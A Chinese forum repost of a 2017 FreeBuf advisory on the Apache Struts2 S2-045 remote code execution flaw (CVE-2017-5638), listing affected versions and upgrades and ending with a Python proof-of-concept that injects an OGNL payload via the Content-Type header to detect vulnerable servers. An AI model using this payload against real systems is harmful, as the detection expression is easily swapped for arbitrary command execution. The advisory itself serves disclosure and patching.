搜索

[11103] 2017-03-07_漏洞预警ApacheStruts2曝任意代码执行漏洞(S2-045,CVE-2017-5638)

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-03-07_漏洞预警ApacheStruts2曝任意代码执行漏洞(S2-045,CVE-2017-5638) 漏 洞 预 警   |   A p a c h e   S t r u t s 2   曝 任 意 代 码 执 行 漏 洞   ( S 2 - 0 4 5 , C V E - 2 0 1 7 - 5 6 3 8 ) 漏 洞 盒 子   F r e e B u f   2 0 1 7 - 0 3 - 0 7 F r e e B u f 上 次 曝 S t r u t s   2 的 漏 洞 已 经 是 半 年 多 以 前 的 事 情 了 。 这 次 的 漏 洞 又 是 个 这 次 的 漏 洞 又 是 个 R C E 远 程 代 码 执 行 漏 洞 。 简 单 来 说 ， 基 于 远 程 代 码 执 行 漏 洞 。 简 单 来 说 ， 基 于 J a k a r t a   M u l t i p a r t 解 析 器 进 行 文 件 上 传 时 ， 利 用 漏 洞 可 进 行 远 程 解 析 器 进 行 文 件 上 传 时 ， 利 用 漏 洞 可 进 行 远 程 代 码 执 行 。 代 码 执 行 。 该 漏 洞 由 安 恒 信 息 该 漏 洞 由 安 恒 信 息 N i k e   Z h e n g 上 报 。 上 报 。 A p a c h e   S t r u t s 是 美 国 阿 帕 奇 （ A p a c h e ） 软 件 基 金 会 负 责 维 护 的 一 个 开 源 项 目 ， 是 一 套 用 于 创 建 企 业 级 J a v a   W e b 应 用 的 开 源 M V C 框 架 。 漏 洞 盒 子 l a b 和 网 藤 均 已 支 持 该 漏 洞 的 检 测 ： ·   漏 洞 盒 子 l a b 检 测 地 址 ： h t t p s : / / w w w . v u l b o x . c o m / l a b ·   网 藤 地 址 ： w w w . r i s k i v y . c o m 【 点 击 阅 读 原 文 检 测 点 击 阅 读 原 文 检 测 】 漏 洞 盒 子 漏 洞 盒 子 l a b 是 一 款 流 行 漏 洞 在 线 安 全 检 测 系 统 ， 输 入 是 一 款 流 行 漏 洞 在 线 安 全 检 测 系 统 ， 输 入 U R L 或 主 机 名 即 可 测 试 是 否 存 在 漏 洞 。 或 主 机 名 即 可 测 试 是 否 存 在 漏 洞 。 漏 洞 编 号 漏 洞 编 号 C V E - 2 0 1 7 - 5 6 3 8 漏 洞 简 介 漏 洞 简 介 S t r u t s 使 用 的 J a k a r t a 解 析 文 件 上 传 请 求 包 不 当 ， 当 远 程 攻 击 者 构 造 恶 意 的 C o n t e n t - T y p e ， 可 能 导 致 远 程 命 令 执 行 。 实 际 上 在 d e f a u l t . p r o p e r t i e s 文 件 中 ， s t r u t s . m u l t i p a r t . p a r s e r 的 值 有 两 个 选 择 ， 分 别 是 j a k a r t a 和 p e l l （ 另 外 原 本 其 实 也 有 第 三 种 选 择 c o s ） 。 其 中 的 j a k a r t a 解 析 器 是 S t r u t s   2 框 架 的 标 准 组 成 部 分 。 默 认 情 况 下 默 认 情 况 下 j a k a r t a 是 启 用 的 ， 所 以 该 漏 洞 的 严 重 性 需 要 得 到 正 视 。 是 启 用 的 ， 所 以 该 漏 洞 的 严 重 性 需 要 得 到 正 视 。 影 响 范 围 影 响 范 围
S t r u t s   2 . 3 . 5   –   S t r u t s   2 . 3 . 3 1 S t r u t s   2 . 5   –   S t r u t s   2 . 5 . 1 0 修 复 方 案 修 复 方 案 如 果 你 正 在 使 用 基 于 J a k a r t a 的 文 件 上 传 M u l t i p a r t 解 析 器 ， 请 升 级 到 A p a c h e   S t r u t s   2 . 3 . 3 2 或 2 . 5 . 1 0 . 1 版 ； 或 者 也 可 以 切 换 到 不 同 的 实 现 文 件 上 传 M u l t i p a r t 解 析 器 。 漏 洞 漏 洞 P o C i m p o r t   r e q u e s t s i m p o r t   s y s d e f   p o c ( u r l ) :         p a y l o a d   =   " % { ( # t e s t = ' m u l t i p a r t / f o r m - d a t a ' ) . ( # d m = @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) . ( # _ m e m b e r A c c e s s ? ( # _ m e m b e r A c c e s s = # d m ) : ( ( # c o n t a i n e r = # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( # o g n l U t i l = # c o n t a i n e r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y . x w o r k 2 . o g n l . O g n l U t i l @ c l a s s ) ) . ( # o g n l U t i l . g e t E x c l u d e d P a c k a g e N a m e s ( ) . c l e a r ( ) ) . ( # o g n l U t i l . g e t E x c l u d e d C l a s s e s ( ) . c l e a r ( ) ) . ( # c o n t e x t . s e t M e m b e r A c c e s s ( # d m ) ) ) ) . ( # r o s = ( @ o r g . a p a c h e . s t r u t s 2 . S e r v l e t A c t i o n C o n t e x t @ g e t R e s p o n s e ( ) . g e t O u t p u t S t r e a m ( ) ) ) . ( # r o s . p r i n t l n ( 1 0 2 * 1 0 2 * 1 0 2 * 9 9 ) ) . ( # r o s . f l u s h ( ) ) } "         h e a d e r s   =   { }         h e a d e r s [ " C o n t e n t - T y p e " ]   =   p a y l o a d         r   =   r e q u e s t s . g e t ( u r l ,   h e a d e r s = h e a d e r s )         i f   " 1 0 5 0 5 9 5 9 2 "   i n   r . c o n t e n t :                 r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i f   l e n ( s y s . a r g v )   = =   1 :                 p r i n t   " p y t h o n   s 2 - 0 4 5 . p y   t a r g e t "                 s y s . e x i t ( )         i f   p o c ( s y s . a r g v [ 1 ] ) :                 p r i n t   " v u l n e r a b l e "         e l s e :                 p r i n t   " n o t   v u l n e r a b l e " *   参 考 来 源 ： A p a c h e ， 转 载 请 注 明 来 自 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理